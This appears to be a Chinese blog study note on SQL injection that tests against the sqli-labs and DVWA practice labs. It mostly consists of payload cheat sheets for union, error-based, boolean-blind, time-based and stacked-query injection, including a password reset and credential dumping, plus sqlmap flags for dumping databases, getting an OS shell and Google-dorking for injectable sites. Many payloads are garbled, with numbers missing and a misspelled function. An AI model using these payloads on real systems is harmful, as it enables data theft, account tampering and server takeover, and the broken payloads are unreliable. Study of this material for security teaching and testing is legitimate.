常见web漏洞的整理之SQL注入
SQL注入:
- 简介:
- 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。也被作为关系式数据库管理系统的标准语言。
- 原理:
- 在用户可控的参数中,注入SQL语法,破坏原有的SQL语句,达成编程时意料之外结果的攻击行为,实现与数据库的非法交互。
- 分类:
- 从数据类型:
- 数字型:注入的数据,拼接到SQL语句中是以数字型数据存在,简单理解就是两边没有被单引号、双引号包括。
- 字符型:被各种符号包裹着。
- 如:
select * from news where id=1;
select * from news where id='1';
select * from news where id="1";
select * from news where id=('1');
- 从注入手法:
- 联合查询注入 UNION query SQL injection
- 报错注入 Error-based SQL injection
- 布尔注入 Boolean-based blind SQL injection
- 延时注入 Time-based blind SQL injection
- 堆叠查询 Stacked queries SQL injection
- 从数据类型:
- 注入点判断:
- 尝试闭合,输入单引号或双引号等
- ?id=111-1/+1,若有返回数据,可以判断存在数字型,比较少见
- and 1 = 1/ 1=2
- ‘ or 1=1#
- 等等等等,其实注入点判断有很多种,毕竟现在都架起了各种waf,安全意识都增强了,这种漏洞也都被修复,或者被保护了。
以下测试环境为sqllab和dvwa靶场
联合查询:
- 判断当前表中的字段(列)个数 ' order by 3--+
- 查看显示位:
' union select 1,2,3--+
- 查看数据库名
union select ,,database()--+
- 查看表名
union select ,,(select group_concat(TABLE_NAME) from information_schema.TABLES(mysql内建库) where TABLE_SCHEMA=0x7365637572697479(数据库名16进制转码))
- 查看字段
union select ,,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479(数据库名) and TABLE_NAME=0x7573657273(表名))--+
- 查看数据
union select ,,(select group_concat(concat(username, password)) from security.users)--+
报错注入:
当页面存在报错信息时
- 公式1
extractvalue(,concat('^',(查询的内容),'^'))
?id= and extractvalue(,concat(0x5e,(select database()),0x5e)) --+
- 公式2
updatexml(,concat('^',(查询的内容),'^'),)
?id= and updatexml(,concat(0x5e,(select versoin()),0x5e),) --+
?id= and updatexml(,concat(0x5e,(select concat(username,0x3a,password) from cms_users limit ,),0x5e),) --+
- 公式三
?id=1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
布尔盲注:
?id=33 and 1=1 / 1=2--+ 返回状态不同,说明存在布尔注入
- 判断查询内容的长度
?id= and length(database())>
?id= and length(database())= - 按位查询字符
?id= and ascii(substr((select database()),,)) =
?id= and ascii(substr(database(),,)) =
延时注入:
and sleep(5)--+ 查看返回的时间长度,但易受网络波动。
?id= and if(ascii(substr(current_user(),,)) =,sleep(),) --+
堆叠查询:
同时执行多条SQL语句,简单举例:将用户id=1的密码重置为123456
?id=-';update users set password='' where id=1; --+
SQLMAP的使用:
将以上及更多的注入手法集成到了sql自动化注入工具sqlmap中。对它的基本参数还是要熟悉的。
- -u 检测注入点
- --dbs 列出所有数据库的名字
- --current-db 当前数据库的名字
- -D 指定数据库
- --tables 列出说有表的名字
- -T 指定一张表
- --columns 列出所有字段的名字
- -C 指定字段
- --dump “脱库”
- -u "shownews.asp" --cookie "id=2" --level2 cookie 注入
- -u "url" --forms 自动检测表单
- -r post.txt 从文件读取http 请求
- --os-shell 获取shell
- sqlmap -g "inurl:php?id=" 利用google 自动搜索注入点
总结:
SQL注入原理很简单,利用起来方式很多;sqllab,dvwa这些简单的针对性靶场对sql注入的理解很有作用。起初黑客利用十分方便,但现在网站防护更严格了,就又产生了各种过滤。这里又要牵扯出很多知识。学无止境啊。
最新文章
- jqurey datatable tableTools 自定义button元素 以及按钮自事件
- NPM安装之后CMD中不能使用
- Android Launcher 3 简单分析
- C#和Javascript的try…catch…finally的一点差别
- canvas/CSS实现仪表盘效果
- 微信分享JS接口失效说明及解决方案
- 台湾P2P平台
- PHP流程控制语句下
- LoadRunner中的参数与变量
- oomph
- Python[小甲鱼003小插曲之变量和字符串]
- Git团队协作之GitFlow &; SoucceTree
- CSS3盒子模型
- java 判断是否是周末
- hdu-2328(暴力枚举+kmp)
- IDEA常用快捷键整理(Mac OS X版本)
- matlab 向量场线积分
- 【转】ArrayBlockingQueue浅析
- Spring的IOC底层实现
- URL中参数为数组
热门文章
- MySQL优化之执行计划
- HDU-6376 度度熊剪纸条
- vscode下搭建typescript时提示";无法将“npm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称";错误的解决方法
- random方法
- Java读源码之ReentrantLock
- 【cs224w】Lecture 1 &; 2 - 图的性质 及 随机图
- Sql练习201908200918
- MQTT协议实现Android中的消息收发
- # H - H HDU - 2066 (多起点、多终点问题)
- SQL Server 创建链接服务器的脚本,自定义链路服务器的简短名称